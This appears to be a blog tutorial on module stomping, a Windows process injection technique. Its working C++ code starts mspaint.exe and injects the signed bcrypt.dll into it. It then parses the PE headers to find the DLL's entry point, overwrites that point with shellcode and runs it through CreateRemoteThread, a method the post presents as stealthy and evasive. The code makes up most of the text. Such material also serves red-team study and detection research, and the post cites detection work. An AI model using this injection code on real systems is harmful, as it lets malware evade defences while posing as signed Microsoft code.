Module Stomping

Module stomping is an injection technique that can be used to load our own code into another process.

The way it works is by loading a legitimate DLL into a process, and then “stomping” on it with our own code. This is more evasive than injecting our own code directly as it will appear to be part of a signed, legitimate DLL. It also does not require us to allocate RX (Readable and Executable) memory.

This can be used for both shellcode injection and for injecting DLLs.

In this article, I’m keeping it simple and short by only demonstrating shellcode injection.

If you want to see what’s required for loading a DLL instead, my article on Software Packers showcases how to manually load an executable in memory.

The best way to learn this method is by doing it ourselves.

Starting a new process

We can choose to create our own process or to use an existing one. I’ve chosen the former approach.

Create processes

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CHAR command_line[] = "mspaint.exe";
CHAR library_path[] = "C:\\Windows\\System32\\bcrypt.dll";
if (!CreateProcessA(nullptr, command_line, nullptr, nullptr, 0, 0, nullptr, nullptr, &si, &pi))
{
    log("Couldn't start process");
    return 1;
};
log("Started process: %u", pi.dwProcessId);

Injecting a legitimate DLL

This is standard DLL injection. I’ve previously covered it on DLL Injection.

We will inject bcrypt.dll, a legitimate Microsoft signed DLL.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
int inject_dll(HANDLE process_handle, std::string library_path) {
	auto kernel32 = GetModuleHandleA("kernel32.dll");
	LPVOID load_library_address = nullptr;
    load_library_address = GetProcAddress(kernel32, "LoadLibraryA");

	auto path_remote_buffer = VirtualAllocEx(process_handle, nullptr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	SIZE_T bytesWritten = 0;

	if (!WriteProcessMemory(process_handle, path_remote_buffer, library_path.c_str(), library_path.length(), &bytesWritten))
	{
		log("Couldn't write to process memory");
		return 1;
	}

	auto remote_thread = CreateRemoteThread(process_handle, nullptr, 0, (LPTHREAD_START_ROUTINE)load_library_address, path_remote_buffer, 0, nullptr);

	WaitForSingleObject(remote_thread, INFINITE);
	return 0;
}

Finding the entry point of the DLL

We can find the entry point of the DLL by parsing the PE file and enumerating the process modules for the base address.

By combining the module’s base address and the entry point, we’ll know where to stomp.

PE Format

Enumerating All Modules For a Process

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
EnumProcessModules(pi.hProcess, nullptr, 0, &needed);
auto modules = std::make_unique<HMODULE[]>(needed / sizeof(HMODULE));
EnumProcessModules(pi.hProcess, modules.get(), needed, &needed);

LPVOID module_base_address = nullptr;
for (size_t i = 0; i < needed / sizeof(HMODULE); i++)
{
    char module_name[MAX_PATH];
    GetModuleFileNameExA(pi.hProcess, modules[i], module_name, sizeof(module_name));
    if (std::string(module_name).find(library_path) != std::string::npos) {
        module_base_address = modules[i];
        break;
    }
}

To obtain the entry point address, we will open the file on disk to avoid unnecessary calls to ReadProcessMemory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int dll_entrypoint(const CHAR* path)
{
	std::ifstream file(path, std::ios::binary);
	if (!file) {
		log("Couldn't open %s", path);
		return 1;
	}

	file.seekg(0, std::ios::end);
	std::streampos size = file.tellg();
	file.seekg(0, std::ios::beg);

	std::vector<char> buffer(size);
	if (!file.read(buffer.data(), size)) {
		log("Couldn't' read %s", path);
		return 1;
	}

	auto dos_header = reinterpret_cast<PIMAGE_DOS_HEADER>(buffer.data());

	auto nt_headers = reinterpret_cast<PIMAGE_NT_HEADERS>(buffer.data() + dos_header->e_lfanew);

	auto optional_header = &nt_headers->OptionalHeader;

	auto entry_point = optional_header->AddressOfEntryPoint;
	return entry_point;
}

Stomping

Next, we will overwrite the entry point code with our shellcode.

We don’t have to change memory protections or allocate any memory using this method.

1
2
3
auto entry_point_address = dll_entrypoint(library_path);
auto entry_point_remote = reinterpret_cast<LPVOID>(reinterpret_cast<DWORD_PTR>(module_base_address) + entry_point_address);
WriteProcessMemory(pi.hProcess, entry_point_remote, payload, sizeof(payload), nullptr);

Running our code

Finally, to run our code:

1
CreateRemoteThread(pi.hProcess, nullptr, 0, reinterpret_cast<LPTHREAD_START_ROUTINE>(entry_point_remote), nullptr, 0, nullptr);

Our code runs inside bcrypt.dll, a signed Microsoft DLL.

Conclusion

This is a stealthy and simple way to run shellcode or a DLL on a process.

The complete code is available on GitHub.

References

https://blog.f-secure.com/hiding-malicious-code-with-module-stomping/

https://blog.f-secure.com/hiding-malicious-code-with-module-stomping-part-2/

https://blog.f-secure.com/cowspot-real-time-module-stomping-detection/

https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

updatedupdated2023-05-122023-05-12